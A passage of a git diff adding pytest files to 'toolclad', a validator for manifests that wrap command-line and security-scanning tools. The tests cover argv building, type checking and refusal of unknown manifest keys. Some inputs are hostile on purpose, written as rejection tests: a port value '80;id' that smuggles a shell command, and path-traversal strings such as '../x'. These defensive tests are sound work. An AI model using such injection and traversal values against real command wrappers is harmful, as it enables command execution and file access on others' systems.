+ exec = "echo hi" + """) + + def test_arg_opt_ins_parsed(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.a] + position = 1 + type = "string" + allow_leading_dash = true + allow_whitespace = true + + [args.b] + position = 2 + type = "string" + + [command] + exec = ["echo", "{a}", "{b}"] + """) + assert m.args["a"].allow_leading_dash is True + assert m.args["a"].allow_whitespace is True + assert m.args["b"].allow_leading_dash is False + assert m.args["b"].allow_whitespace is False + + +# --------------------------------------------------------------------------- +# Substitution (W1.3 / W1.3a) +# --------------------------------------------------------------------------- + +class TestSubstitution: + def test_whitespace_value_is_one_argv_element_with_declared_exec(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.msg] + position = 1 + required = true + type = "string" + allow_whitespace = true + + [command] + exec = ["echo", "-n", "{msg}"] + """) + argv = build_command_argv(m, {"msg": "hello big world"}) + assert argv == ["echo", "-n", "hello big world"] + assert len(argv) == 3 + + def test_whitespace_value_rejected_with_compiled_template(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.msg] + position = 1 + required = true + type = "string" + allow_whitespace = true + + [command] + template = "echo -n {msg}" + """) + with pytest.raises(ValidationError, match="whitespace"): + build_command_argv(m, {"msg": "hello big world"}) + + def test_embedded_placeholder_never_splits_token(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.msg] + position = 1 + required = true + type = "string" + allow_whitespace = true + + [command] + exec = ["echo", "--text={msg}", "end"] + """) + assert build_command_argv(m, {"msg": "a b c"}) == ["echo", "--text=a b c", "end"] + + def test_empty_sole_placeholder_dropped_but_embedded_kept(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.opt] + position = 1 + type = "string" + + [command] + exec = ["echo", "{opt}", "--opt={opt}", "end"] + """) + assert build_command_argv(m, {}) == ["echo", "--opt=", "end"] + + def test_mapping_splices_tokens(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.scan_type] + position = 1 + required = true + type = "enum" + allowed = ["ping", "service"] + + [args.target] + position = 2 + required = true + type = "scope_target" + + [command] + exec = ["echo", "{_scan_type_flags}", "{target}"] + + [command.mappings.scan_type] + ping = "-sn -PE" + service = "-sT -sV --version-intensity 5" + """) + assert build_command_argv(m, {"scan_type": "service", "target": "10.0.1.0/24"}) == [ + "echo", "-sT", "-sV", "--version-intensity", "5", "10.0.1.0/24", + ] + assert build_command_argv(m, {"scan_type": "ping", "target": "example.com"}) == [ + "echo", "-sn", "-PE", "example.com", + ] + + def test_conditional_value_stays_one_element(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.headers] + position = 1 + type = "string" + allow_whitespace = true + + [args.url] + position = 2 + required = true + type = "url" + + [command] + exec = ["echo", "{_header_flags}", "{url}"] + + [command.conditionals.header_flags] + when = "headers != ''" + template = "-H {headers}" + """) + argv = build_command_argv(m, {"headers": "X-Trace: abc", "url": "https://example.com/"}) + assert argv == ["echo", "-H", "X-Trace: abc", "https://example.com/"] + argv = build_command_argv(m, {"url": "https://example.com/"}) + assert argv == ["echo", "https://example.com/"] + + def test_brace_escape_yields_literal_braces(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.url] + position = 1 + required = true + type = "url" + + [command] + exec = ["echo", "-w", "\\\\n%{{http_code}}", "{url}"] + """) + argv = build_command_argv(m, {"url": "https://example.com/"}) + assert argv == ["echo", "-w", "\\n%{http_code}", "https://example.com/"] + + def test_brace_escape_from_template(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.url] + position = 1 + required = true + type = "url" + + [command] + template = "echo -w '\\\\n%{{http_code}}' {url}" + """) + assert m.command.exec == ["echo", "-w", "\\n%{{http_code}}", "{url}"] + argv = build_command_argv(m, {"url": "https://example.com/"}) + assert argv == ["echo", "-w", "\\n%{http_code}", "https://example.com/"] + + def test_escaped_braces_are_not_placeholders_programmatic(self): + m = Manifest( + tool=ToolMeta(name="t", binary="echo"), + command=CommandDef(exec=["echo", "{{target}}", "{target}"], exec_was_declared=True), + args={"target": ArgDef(name="target", position=1, required=True, type="string")}, + output=OutputDef(format="text"), + ) + assert build_command_argv(m, {"target": "x"}) == ["echo", "{target}", "x"] + + def test_unresolved_placeholder_programmatic_build(self): + m = Manifest( + tool=ToolMeta(name="t", binary="echo"), + command=CommandDef(exec=["echo", "{missing}"]), + output=OutputDef(format="text"), + ) + with pytest.raises(ValueError, match="unresolved placeholder '{missing}' in command"): + build_command_argv(m, {}) + + def test_programmatic_template_is_strict_mode(self): + m = Manifest( + tool=ToolMeta(name="t", binary="echo"), + command=CommandDef(template="echo {msg}"), + args={"msg": ArgDef(name="msg", position=1, required=True, type="string", allow_whitespace=True)}, + output=OutputDef(format="text"), + ) + with pytest.raises(ValidationError, match="whitespace"): + build_command_argv(m, {"msg": "a b"}) + assert build_command_argv(m, {"msg": "ab"}) == ["echo", "ab"] + + def test_build_command_string_is_shell_quoted_display(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.msg] + position = 1 + required = true + type = "string" + allow_whitespace = true + + [command] + exec = ["echo", "{msg}"] + """) + assert build_command(m, {"msg": "a b"}) == "echo 'a b'" + + def test_execute_dry_run_uses_argv(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.msg] + position = 1 + required = true + type = "string" + + [command] + exec = ["echo", "{msg}"] + """) + env = execute(m, {"msg": "hi"}, dry_run=True) + assert env["status"] == "dry_run" + assert env["command"] == "echo hi" + + def test_execute_runs_argv_without_resplitting(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.msg] + position = 1 + required = true + type = "string" + allow_whitespace = true + + [command] + exec = ["echo", "{msg}"] + """) + env = execute(m, {"msg": "a b"}) + assert env["status"] == "success" + assert env["results"]["raw_output"] == "a b\n" + + def test_compile_command_is_idempotent(self): + m = Manifest( + tool=ToolMeta(name="t", binary="echo"), + command=CommandDef(template="echo {x}"), + args={"x": ArgDef(name="x", position=1, type="string")}, + output=OutputDef(format="text"), + ) + compile_command(m, warn=False) + first = list(m.command.exec) + compile_command(m, warn=False) + assert m.command.exec == first == ["echo", "{x}"] + assert m.command.exec_was_declared is False + + +# --------------------------------------------------------------------------- +# end_of_options (W1.4) +# --------------------------------------------------------------------------- + +class TestEndOfOptions: + def test_inserted_before_first_user_arg_token(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.target] + position = 1 + required = true + type = "string" + + [args.other] + position = 2 + type = "string" + + [command] + exec = ["echo", "-n", "{rate}", "{target}", "{other}"] + end_of_options = "--" + + [command.defaults] + rate = "5" + """) + argv = build_command_argv(m, {"target": "host", "other": "x"}) + assert argv == ["echo", "-n", "5", "--", "host", "x"] + assert argv.count("--") == 1 + + def test_not_inserted_without_user_arg_token(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.target] + position = 1 + required = true + type = "string" + + [command] + exec = ["echo", "--t={target}"] + end_of_options = "--" + """) + assert build_command_argv(m, {"target": "host"}) == ["echo", "--t=host"] + + def test_skips_dropped_empty_value(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.opt] + position = 1 + type = "string" + + [args.target] + position = 2 + required = true + type = "string" + + [command] + exec = ["echo", "{opt}", "{target}"] + end_of_options = "--" + """) + assert build_command_argv(m, {"target": "host"}) == ["echo", "--", "host"] + + def test_not_inserted_when_unset(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.target] + position = 1 + required = true + type = "string" + + [command] + exec = ["echo", "{target}"] + """) + assert build_command_argv(m, {"target": "host"}) == ["echo", "host"] + + def test_programmatic_invalid_value_refused(self): + m = Manifest( + tool=ToolMeta(name="t", binary="echo"), + command=CommandDef(exec=["echo"], end_of_options="++"), + output=OutputDef(format="text"), + ) + with pytest.raises(ValueError, match="end_of_options"): + build_command_argv(m, {}) diff --git a/python/tests/test_hardening_w11.py b/python/tests/test_hardening_w11.py new file mode 100644 index 0000000..1ff8289 --- /dev/null +++ b/python/tests/test_hardening_w11.py @@ -0,0 +1,181 @@ +"""Validator strictness shared across runtimes (W11): numeric shapes, +duration, boolean, host shape, path components, and load-time validation of +per-argument defaults. No test performs a DNS lookup.""" + +from __future__ import annotations + +import pytest + +from toolclad.manifest import ArgDef, load_manifest +from toolclad.validator import ValidationError, validate_arg + + +def _arg(type_: str, **kw) -> ArgDef: + return ArgDef(name="a", type=type_, **kw) + + +def _ok(type_: str, value: str, expected: str, **kw) -> None: + assert validate_arg(_arg(type_, **kw), value) == expected + + +def _bad(type_: str, value: str, **kw) -> None: + with pytest.raises(ValidationError): + validate_arg(_arg(type_, **kw), value) + + +@pytest.mark.parametrize( + "value", ["", "0x10", "1_000", " 7 ", "7\n", "7 ", "1.0", "1e3", "٣", "--7", "+-7", "abc"] +) +def test_integer_rejects(value): + _bad("integer", value) + + +@pytest.mark.parametrize("value,expected", [("7", "7"), ("+7", "7"), ("0", "0"), ("007", "7")]) +def test_integer_accepts(value, expected): + _ok("integer", value, expected) + + +def test_integer_negative_with_opt_in(): + _ok("integer", "-7", "-7", allow_leading_dash=True) + + +@pytest.mark.parametrize("value", ["", "+80", "-1", "0", "65536", " 80", "80\n", "8_0", "0x50", "٨٠"]) +def test_port_rejects(value): + _bad("port", value) + + +@pytest.mark.parametrize("value,expected", [("1", "1"), ("443", "443"), ("65535", "65535"), ("0080", "80")]) +def test_port_accepts(value, expected): + _ok("port", value, expected) + + +@pytest.mark.parametrize( + "value", ["NaN", "nan", "inf", "-inf", "Infinity", "0x1p3", " 1.5", "1.5\n", "1_0.5", "", ".", "e5", "1e", "1.2.3"] +) +def test_number_rejects(value): + _bad("number", value) + + +@pytest.mark.parametrize( + "value,expected", + [("1e2", "100"), ("0.50", "0.5"), ("1.", "1"), (".5", "0.5"), ("+2.5", "2.5"), + ("3", "3"), ("1.25E+1", "12.5"), ("0.1", "0.1")], +) +def test_number_accepts_and_normalizes(value, expected): + _ok("number", value, expected) + + +@pytest.mark.parametrize("value", ["5m\n", "1_000", " 7 ", "5 m", "", "m", "5x", "1m1h", "5ms5s", "1d"]) +def test_duration_rejects(value): + _bad("duration", value) + + +@pytest.mark.parametrize("value", ["30", "5m", "2h", "1h30m", "500ms", "1h2m3s4ms"]) +def test_duration_accepts(value): + _ok("duration", value, value) + + +@pytest.mark.parametrize("value,expected", [("True", "true"), ("FALSE", "false"), ("true", "true")]) +def test_boolean_case_insensitive(value, expected): + _ok("boolean", value, expected) + + +@pytest.mark.parametrize("value", ["yes", "1", "", " true"]) +def test_boolean_rejects(value): + _bad("boolean", value) + + +def test_trailing_dot_hostname_refused(): + _bad("scope_target", "example.com.") + _bad("url", "https://example.com./x") + + +def test_ipv6_cidr_accepted(): + _ok("scope_target", "2001:db8::/32", "2001:db8::/32") + _ok("cidr", "2001:db8::/32", "2001:db8::/32") + + +def test_ipv6_cidr_policy_applies(): + _bad("cidr", "fe80::/10") # link-local: always blocked + _bad("cidr", "fc00::/7", block_internal=True) + + +@pytest.mark.parametrize("value", ["..", "foo/..", "foo\\..", "../x", "a/../b", "a\\..\\b"]) +def test_path_traversal_components(value): + _bad("path", value) + _bad("credential_file", value) + + +@pytest.mark.parametrize("value", ["foo..bar", "..foo", "a/b..c/d"]) +def test_path_dotdot_inside_a_component_is_not_traversal(value): + _ok("path", value, value) + + +# --------------------------------------------------------------------------- +# Per-argument defaults are validated at load +# --------------------------------------------------------------------------- + +_DOC = """\ +[tool] +name = "d" +version = "1.0.0" +binary = "echo" + +[args.a] +position = 1 +required = false +{arg} + +[command] +exec = ["echo", "{{a}}"] + +[output] +format = "text" +""" + + +def _load(tmp_path, arg: str): + path = tmp_path / "d.clad.toml" + path.write_text(_DOC.format(arg=arg)) + return load_manifest(str(path)) + + +@pytest.mark.parametrize( + "arg", + [ + 'type = "port"\ndefault = 0', + 'type = "integer"\nmin = 1\ndefault = 0', + 'type = "string"\ndefault = "has space"', + 'type = "integer"\ndefault = "1_000"', + 'type = "enum"\nallowed = ["a", "b"]\ndefault = "c"', + 'type = "duration"\ndefault = "5 m"', + 'type = "url"\ndefault = ""', + 'type = "string"\npattern = "^[a-z]+$"\ndefault = "ABC"', + ], +) +def test_invalid_default_is_a_load_error(tmp_path, arg): + with pytest.raises(ValueError, match=r"argument 'a': default .* is invalid"): + _load(tmp_path, arg) + + +@pytest.mark.parametrize( + "arg", + [ + 'type = "string"\ndefault = ""', + 'type = "port"\ndefault = 443', + 'type = "integer"\nmin = 1\nmax = 5\ndefault = 3', + 'type = "number"\ndefault = 0.5', + 'type = "boolean"\ndefault = true', + 'type = "enum"\nallowed = ["a", "b"]\ndefault = "b"', + 'type = "scope_target"\ndefault = "10.0.1.1"', + ], +) +def test_valid_default_loads(tmp_path, arg): + _load(tmp_path, arg) + + +def test_boolean_default_substituted_lowercase(tmp_path): + from toolclad.executor import build_command_argv + + m = _load(tmp_path, 'type = "boolean"\ndefault = true') + assert build_command_argv(m, {}) == ["echo", "true"] diff --git a/python/tests/test_hardening_w12_custom_types.py b/python/tests/test_hardening_w12_custom_types.py new file mode 100644 index 0000000..c71070b --- /dev/null +++ b/python/tests/test_hardening_w12_custom_types.py @@ -0,0 +1,251 @@ +"""TC-23: the CLI and the loaders discover ``toolclad.toml``, argument types +are checked at load, and the shipped examples load and dry-run end to end. + +No tool is ever executed: the example assertions use ``toolclad test`` (a dry +run that only builds argv). The only network activity is the optional +``example.com`` lookup that ``block_internal`` performs for the curl example; +that single assertion is skipped when DNS is unavailable. +""" + +from __future__ import annotations + +import importlib.metadata +import json +import socket +from pathlib import Path + +import pytest +from click.testing import CliRunner + +import toolclad +from toolclad.cli import main +from toolclad.executor import build_command_argv +from toolclad.manifest import ( + CONFIG_FILE_ENV, + CustomTypeDef, + LoadOptions, + discover_custom_types, + load_custom_types, + load_manifest, + load_manifest_from_str, + load_manifest_with_options, +) +from toolclad.validator import ValidationError + +EXAMPLES = Path(__file__).resolve().parents[2] / "examples" +EXAMPLE_NAMES = ( + "curl_fetch", "dig_lookup", "nikto_scan", "nmap_scan", "whois_lookup", +) + + +@pytest.fixture(autouse=True) +def _no_config_env(monkeypatch): + monkeypatch.delenv(CONFIG_FILE_ENV, raising=False) + monkeypatch.delenv("TOOLCLAD_SCOPE_FILE", raising=False) + + +def _examples_dir() -> Path: + if not EXAMPLES.is_dir(): + pytest.skip(f"examples directory not found at {EXAMPLES} (not a repository checkout)") + return EXAMPLES + + +def _cli(*argv: str): + return CliRunner().invoke(main, list(argv)) + + +def _argv_of(output: str) -> list: + for line in output.splitlines(): + if line.strip().startswith("Argv:"): + return json.loads(line.split("Argv:", 1)[1]) + raise AssertionError(f"no Argv line in output:\n{output}") + + +_ONESHOT = ( + '[tool]\nname = "t"\nversion = "1.0.0"\nbinary = "whois"\n' + '[args.x]\nposition = 1\nrequired = true\ntype = "{t}"\n{extra}\n' + '[command]\nexec = ["whois", "{{x}}"]\n' + '[output]\nformat = "text"\n' +) + + +def _write(tmp_path: Path, arg_type: str, extra: str = "") -> Path: + p = tmp_path / "t.clad.toml" + p.write_text(_ONESHOT.format(t=arg_type, extra=extra)) + return p + + +# --------------------------------------------------------------------------- +# L1 discovery +# --------------------------------------------------------------------------- + + +class TestDiscovery: + def test_absent_config_means_no_custom_types(self, tmp_path): + assert discover_custom_types(tmp_path) == {} + + def test_walks_up_from_manifest_directory(self, tmp_path): + (tmp_path / "toolclad.toml").write_text('[types.ident]\nbase = "string"\npattern = "[a-z]+"\n') + sub = tmp_path / "a" / "b" + sub.mkdir(parents=True) + p = sub / "t.clad.toml" + p.write_text(_ONESHOT.format(t="ident", extra="")) + m = load_manifest(str(p)) + assert set(m.custom_types) == {"ident"} + assert build_command_argv(m, {"x": "abc"}) == ["whois", "abc"] + with pytest.raises(ValidationError): + build_command_argv(m, {"x": "abc1"}) + + def test_env_var_wins(self, tmp_path, monkeypatch): + (tmp_path / "toolclad.toml").write_text('[types.other]\nbase = "string"\n') + cfg = tmp_path / "elsewhere.toml" + cfg.write_text('[types.ident]\nbase = "string"\n') + monkeypatch.setenv(CONFIG_FILE_ENV, str(cfg)) + assert set(discover_custom_types(tmp_path)) == {"ident"} + + def test_env_var_unreadable_is_an_error(self, tmp_path, monkeypatch): + monkeypatch.setenv(CONFIG_FILE_ENV, str(tmp_path / "missing.toml")) + with pytest.raises(ValueError, match=CONFIG_FILE_ENV): + discover_custom_types(tmp_path) + with pytest.raises(ValueError, match=CONFIG_FILE_ENV): + load_manifest(str(_write(tmp_path, "string"))) + + @pytest.mark.parametrize( + "text, needle", + [ + ('[types.a]\nbase = "string"\nblock_internal = true\n', "unknown key 'types.a.block_internal'"), + ('[types.a]\nbase = "string"\nscope_check = true\n', "unknown key 'types.a.scope_check'"), + ('[other]\nx = 1\n', "unknown key 'other'"), + ('[types.a]\nbase = "nope"\n', "invalid base type 'nope'"), + ('[types.a]\nbase = "string"\n[types.b]\nbase = "a"\n', "invalid base type 'a'"), + ('[types.a]\n', "invalid base type ''"), + ], + ) + def test_config_is_strict(self, tmp_path, text, needle): + cfg = tmp_path / "toolclad.toml" + cfg.write_text(text) + with pytest.raises(ValueError, match=needle): + load_custom_types(str(cfg)) + with pytest.raises(ValueError, match=needle): + load_manifest(str(_write(tmp_path, "string"))) + + +# --------------------------------------------------------------------------- +# L2 load-time type checking +# --------------------------------------------------------------------------- + + +class TestLoadTimeTypes: + def test_unknown_type_refused_at_load(self, tmp_path): + with pytest.raises(ValueError) as exc: + load_manifest(str(_write(tmp_path, "port_range"))) + assert str(exc.value) == "unknown type 'port_range' for argument 'x'" + + def test_unknown_type_refused_by_string_loader(self): + with pytest.raises(ValueError, match="unknown type 'bogus' for argument 'x'"): + load_manifest_from_str(_ONESHOT.format(t="bogus", extra="")) + + def test_override_supplies_custom_types(self, tmp_path): + opts = LoadOptions(custom_types={"ident": CustomTypeDef(base="string")}) + m = load_manifest_with_options(str(_write(tmp_path, "ident")), opts) + assert "ident" in m.custom_types + m2 = load_manifest_from_str(_ONESHOT.format(t="ident", extra=""), opts) + assert "ident" in m2.custom_types + + def test_session_command_arg_type_checked(self): + text = ( + '[tool]\nname = "s"\nversion = "1"\nbinary = "psql"\n' + '[session]\nstartup_command = "psql"\nready_pattern = "^> $"\n' + '[session.commands.q]\npattern = "^select .*$"\n' + '[session.commands.q.args.t]\ntype = "nonesuch"\n' + '[output]\nformat = "text"\n' + ) + with pytest.raises(ValueError, match="unknown type 'nonesuch' for argument 't'"): + load_manifest_from_str(text) + + def test_browser_command_arg_type_checked(self): + text = ( + '[tool]\nname = "b"\nversion = "1"\n' + '[browser]\nengine = "cdp"\n' + '[browser.commands.go]\ndescription = "x"\n' + '[browser.commands.go.args.u]\ntype = "weburl"\n' + '[output]\nformat = "text"\n' + ) + with pytest.raises(ValueError, match="unknown type 'weburl' for argument 'u'"): + load_manifest_from_str(text) + + def test_custom_typed_default_is_validated_at_load(self, tmp_path): + (tmp_path / "toolclad.toml").write_text('[types.ident]\nbase = "string"\npattern = "[a-z]+"\n') + with pytest.raises(ValueError, match="default"): + load_manifest(str(_write(tmp_path, "ident", 'default = "ABC"'))) + + +# --------------------------------------------------------------------------- +# L4 the shipped examples, through the CLI's own discovery path +# --------------------------------------------------------------------------- + + +class TestExamples: + @pytest.mark.parametrize("name", EXAMPLE_NAMES) + def test_validate_every_example(self, name): + path = _examples_dir() / f"{name}.clad.toml" + result = _cli("validate", str(path)) + assert result.exit_code == 0, result.output + assert "OK" in result.output + + def test_nikto_custom_types_build_argv(self): + path = _examples_dir() / "nikto_scan.clad.toml" + result = _cli( + "test", str(path), "--arg", "target=93.184.216.34", "--arg", "port=8080-8090", + "--arg", "protocol=https", "--arg", "max_rate=250", + ) + assert result.exit_code == 0, result.output + argv = _argv_of(result.output) + for token in ("-h", "https://93.184.216.34:8080-8090", "-Plugins", "@@ALL", "-maxrate", "250"): + assert token in argv, (token, argv) + # Never executed; nikto is only named in argv. + assert argv[0] == "nikto" + + @pytest.mark.parametrize("port", ["80;id", "80abc", "80-90-100"]) + def test_nikto_port_range_is_anchored(self, port): + path = _examples_dir() / "nikto_scan.clad.toml" + result = _cli("test", str(path), "--arg", "target=93.184.216.34", "--arg", f"port={port}") + assert result.exit_code == 1, result.output + assert "FAIL" in result.output + + def test_curl_public_ip_out_of_scope(self): + path = _examples_dir() / "curl_fetch.clad.toml" + result = _cli("test", str(path), "--arg", "url=https://93.184.216.34/") + assert result.exit_code == 1, result.output + assert "not in scope" in result.output + + def test_curl_example_com_in_scope(self): + try: + socket.getaddrinfo("example.com", 443) + except OSError: + pytest.skip("example.com does not resolve (offline); block_internal needs DNS for this case") + path = _examples_dir() / "curl_fetch.clad.toml" + result = _cli("test", str(path), "--arg", "url=https://example.com/") + assert result.exit_code == 0, result.output + assert "https://example.com/" in _argv_of(result.output) + + def test_schema_of_custom_typed_example(self): + path = _examples_dir() / "nikto_scan.clad.toml" + result = _cli("schema", str(path)) + assert result.exit_code == 0, result.output + assert json.loads(result.output)["name"] == "nikto_scan" + + +# --------------------------------------------------------------------------- +# L5 version +# --------------------------------------------------------------------------- + + +def test_version_matches_installed_package(): + assert toolclad.__version__ == importlib.metadata.version("toolclad") + + +def test_cli_version_matches_package(): + result = _cli("--version") + assert result.exit_code == 0 + assert toolclad.__version__ in result.output diff --git a/python/tests/test_hardening_w2.py b/python/tests/test_hardening_w2.py new file mode 100644 index 0000000..e6f4e6f --- /dev/null +++ b/python/tests/test_hardening_w2.py @@ -0,0 +1,755 @@ +"""Tests for the manifest key allowlist and call-time argument checks. + +Every section of a manifest refuses keys it does not know at load, naming +each one as ``unknown key '
.' in manifest``; the ``validate`` +CLI's ``--allow-unknown-keys`` downgrades that to a warning. One manifest per +backend family exercises every key in the allowlist so the table cannot drift +from the shared contract. At call time, an argument name that ``[args]`` does +not declare is refused instead of being dropped. + +Every manifest here invokes ``echo`` and nothing is executed (loads only, or +``dry_run=True``). No network tool is ever run. +""" + +from __future__ import annotations + +import sys +from collections import defaultdict +from pathlib import Path +from typing import Dict, Set + +import pytest +from click.testing import CliRunner + +from toolclad.cli import main +from toolclad.executor import build_command_argv, execute +from toolclad.manifest import ( + MANIFEST_KEYS, + LoadOptions, + Manifest, + _walk_keys, + find_unknown_keys, + load_manifest, + load_manifest_with_options, +) +from toolclad.validator import ValidationError + +if sys.version_info >= (3, 11): + import tomllib +else: + import tomli as tomllib + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def _write(tmp_path, text: str, name: str = "t.clad.toml") -> str: + p = tmp_path / name + p.write_text(text) + return str(p) + + +def _load(tmp_path, text: str) -> Manifest: + return load_manifest(_write(tmp_path, text)) + + +def _doc( + tool: str = "", + target: str = "", + command: str = "", + output: str = "", + tail: str = "", +) -> str: + """A minimal oneshot manifest with extra lines appended to each section.""" + parts = [ + '[tool]\nname = "t"\nversion = "1.0.0"\nbinary = "echo"\n' + tool, + '[args.target]\nposition = 1\nrequired = true\ntype = "string"\n' + target, + '[command]\nexec = ["echo", "{target}"]\n' + command, + '[output]\nformat = "text"\n' + output, + tail, + ] + return "\n".join(parts) + "\n" + + +_SESSION = """\ +[tool] +name = "s" + +[session] +startup_command = "echo" + +[session.commands.select] +pattern = "^SELECT .+$" +{command} +[session.commands.select.args.limit] +type = "integer" +{arg} +[output] +format = "text" +""" + +_BROWSER = """\ +[tool] +name = "b" + +[browser] +engine = "cdp" +{browser} +[browser.commands.navigate] +description = "go" +{command} +[browser.commands.navigate.args.url] +type = "url" +block_internal = true +{arg} +[output] +format = "json" +""" + +_HTTP = """\ +[tool] +name = "h" +version = "1.0.0" +binary = "" + +[args.id] +position = 1 +required = true +type = "string" + +[http] +method = "GET" +url = "https://api.example.com/{{id}}" +{http} +[output] +format = "json" +""" + + +# --------------------------------------------------------------------------- +# Unknown keys are refused, with the concrete dotted path +# --------------------------------------------------------------------------- + +class TestUnknownKeysRefused: + def test_tool_typo_is_named(self, tmp_path): + with pytest.raises(ValueError) as exc: + _load(tmp_path, _doc(tool="tiemout_seconds = 5\n")) + assert str(exc.value) == "unknown key 'tool.tiemout_seconds' in manifest" + + def test_arg_typo_uses_concrete_path(self, tmp_path): + with pytest.raises(ValueError) as exc: + _load(tmp_path, _doc(target="block_internal_typo = true\n")) + assert str(exc.value) == "unknown key 'args.target.block_internal_typo' in manifest" + + def test_command_key(self, tmp_path): + with pytest.raises(ValueError, match=r"unknown key 'command\.shell' in manifest"): + _load(tmp_path, _doc(command="shell = true\n")) + + def test_output_key(self, tmp_path): + with pytest.raises(ValueError, match=r"unknown key 'output\.pretty' in manifest"): + _load(tmp_path, _doc(output="pretty = true\n")) + + def test_http_key(self, tmp_path): + with pytest.raises(ValueError, match=r"unknown key 'http\.verb' in manifest"): + _load(tmp_path, _HTTP.format(http='verb = "GET"\n')) + + def test_conditional_key(self, tmp_path): + cond = ( + "[command.conditionals.rate_flag]\n" + "when = \"target != ''\"\n" + "whenn = \"target != ''\"\n" + 'template = "-x"\n' + ) + with pytest.raises(ValueError) as exc: + _load(tmp_path, _doc(command=cond)) + assert str(exc.value) == ( + "unknown key 'command.conditionals.rate_flag.whenn' in manifest" + ) + + def test_unknown_top_level_section(self, tmp_path): + with pytest.raises(ValueError) as exc: + _load(tmp_path, _doc(tail="[extra]\nx = 1\n")) + assert str(exc.value) == "unknown key 'extra' in manifest" + + def test_mcp_key(self, tmp_path): + doc = ( + '[tool]\nname = "m"\n\n' + '[mcp]\nserver = "s"\ntool = "t"\nversion = "2"\n\n' + '[output]\nformat = "json"\n' + ) + with pytest.raises(ValueError, match=r"unknown key 'mcp\.version' in manifest"): + _load(tmp_path, doc) + + @pytest.mark.parametrize( + "section, key", + [("cedar", "resourse"), ("evidence", "screenshot"), ("limits", "threads")], + ) + def test_tool_subtable_keys(self, tmp_path, section, key): + with pytest.raises(ValueError) as exc: + _load(tmp_path, _doc(tool=f"[tool.{section}]\n{key} = 1\n")) + assert str(exc.value) == f"unknown key 'tool.{section}.{key}' in manifest" + + def test_session_keys(self, tmp_path): + with pytest.raises(ValueError) as exc: + _load(tmp_path, _SESSION.format(command="hue = 1\n", arg="maxx = 5\n")) + assert str(exc.value) == ( + "unknown key 'session.commands.select.args.limit.maxx' in manifest; " + "unknown key 'session.commands.select.hue' in manifest" + ) + + def test_session_subtable_keys(self, tmp_path): + doc = ( + '[tool]\nname = "s"\n\n[session]\nstartup_command = "echo"\n\n' + "[session.interaction]\noutput_wait_ms = 1\nwait = 1\n\n" + '[session.child_detection]\npattern = "x"\ntyp = "shell"\n\n' + '[output]\nformat = "text"\n' + ) + with pytest.raises(ValueError) as exc: + _load(tmp_path, doc) + assert str(exc.value) == ( + "unknown key 'session.child_detection.typ' in manifest; " + "unknown key 'session.interaction.wait' in manifest" + ) + + def test_browser_keys(self, tmp_path): + doc = _BROWSER.format( + browser='[browser.scope]\nallowed_domains = ["a.example.com"]\ndeny = []\n' + "[browser.defaults]\nextract = \"text\"\n" + '[browser.state]\nfields = []\nkeep = true\n', + command="risk = 1\n", + arg="schema = []\n", + ) + with pytest.raises(ValueError) as exc: + _load(tmp_path, doc) + assert str(exc.value) == ( + "unknown key 'browser.commands.navigate.args.url.schema' in manifest; " + "unknown key 'browser.commands.navigate.risk' in manifest; " + "unknown key 'browser.defaults.extract' in manifest; " + "unknown key 'browser.scope.deny' in manifest; " + "unknown key 'browser.state.keep' in manifest" + ) + + def test_many_unknown_keys_one_sorted_error(self, tmp_path): + with pytest.raises(ValueError) as exc: + _load(tmp_path, _doc(tool="zzz = 1\n", target="aaa = 1\n", output="mmm = 1\n")) + assert str(exc.value) == ( + "unknown key 'args.target.aaa' in manifest; " + "unknown key 'output.mmm' in manifest; " + "unknown key 'tool.zzz' in manifest" + ) + + def test_unknown_keys_checked_before_dataclasses(self, tmp_path): + """A typo in [tol] is reported as unknown, not as a missing [tool].""" + doc = '[tol]\nname = "t"\n\n[output]\nformat = "text"\n' + with pytest.raises(ValueError, match=r"unknown key 'tol' in manifest"): + _load(tmp_path, doc) + + def test_find_unknown_keys_is_sorted(self): + data = {"tool": {"zzz": 1, "name": "t"}, "args": {"a": {"nope": 1}}, "bogus": {}} + assert find_unknown_keys(data) == ["args.a.nope", "bogus", "tool.zzz"] + + +# --------------------------------------------------------------------------- +# Open tables accept author-chosen keys +# --------------------------------------------------------------------------- + +class TestOpenTables: + def test_command_defaults_and_mappings(self, tmp_path): + cmd = ( + "[command.defaults]\nanything_goes = \"1\"\n\n" + "[command.mappings.target]\nwhatever = \"--w\"\nelse = \"\"\n" + ) + m = _load(tmp_path, _doc(command=cmd)) + assert m.command.defaults == {"anything_goes": "1"} + assert m.command.mappings["target"]["whatever"] == "--w" + + def test_output_schema_is_open(self, tmp_path): + out = ( + "[output.schema]\ntype = \"object\"\nadditionalProperties = false\n\n" + "[output.schema.properties.raw_output]\ntype = \"string\"\nminLength = 1\n" + ) + m = _load(tmp_path, _doc(output=out)) + assert m.output is not None + assert m.output.schema["properties"]["raw_output"]["minLength"] == 1 + + def test_http_headers_are_open(self, tmp_path): + m = _load(tmp_path, _HTTP.format(http='[http.headers]\nX-Anything = "v"\n')) + assert m.http is not None + assert m.http.headers == {"X-Anything": "v"} + + def test_mcp_field_map_is_open(self, tmp_path): + doc = ( + '[tool]\nname = "m"\n\n[mcp]\nserver = "s"\ntool = "t"\n\n' + '[mcp.field_map]\nanything = "x"\n\n[output]\nformat = "json"\n' + ) + m = _load(tmp_path, doc) + assert m.mcp is not None + assert m.mcp.field_map == {"anything": "x"} + + +# --------------------------------------------------------------------------- +# --allow-unknown-keys escape hatch +# --------------------------------------------------------------------------- + +class TestAllowUnknownKeys: + def test_default_options_are_strict(self, tmp_path): + path = _write(tmp_path, _doc(tool="tiemout_seconds = 5\n")) + with pytest.raises(ValueError, match="unknown key"): + load_manifest_with_options(path) + with 